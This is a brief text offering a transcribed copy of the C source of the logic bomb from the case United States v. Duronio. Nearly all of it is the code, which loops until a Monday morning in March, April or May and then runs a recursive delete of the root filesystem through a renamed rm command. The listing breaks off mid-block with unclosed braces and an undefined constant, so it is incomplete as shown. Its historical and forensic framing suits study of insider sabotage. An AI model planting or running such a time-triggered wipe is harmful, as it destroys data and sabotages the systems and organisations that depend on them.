Below is a transcribed copy of the source code from the logic bomb used in the case United States v. Duronio.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <time.h>

main()
{
    long tloc;
    struct tm *tm;
    time_t Clock;

while(TRUE) {
        Clock = time(&tloc);
        tm = localtime(&Clock);

        if(tm->tm_mon == 2 || tm->tm_mon==3|| tm->tm_mon==4) {
                if(tm->tm_wday == 1 ) {
                        if(tm->tm_hour >= 9) {
                                if(tm->tm_min >= 30) {


        system("/usr/sbin/mrm -r / &");
        break;
                                 } else {
                                sleep(60);
                                }
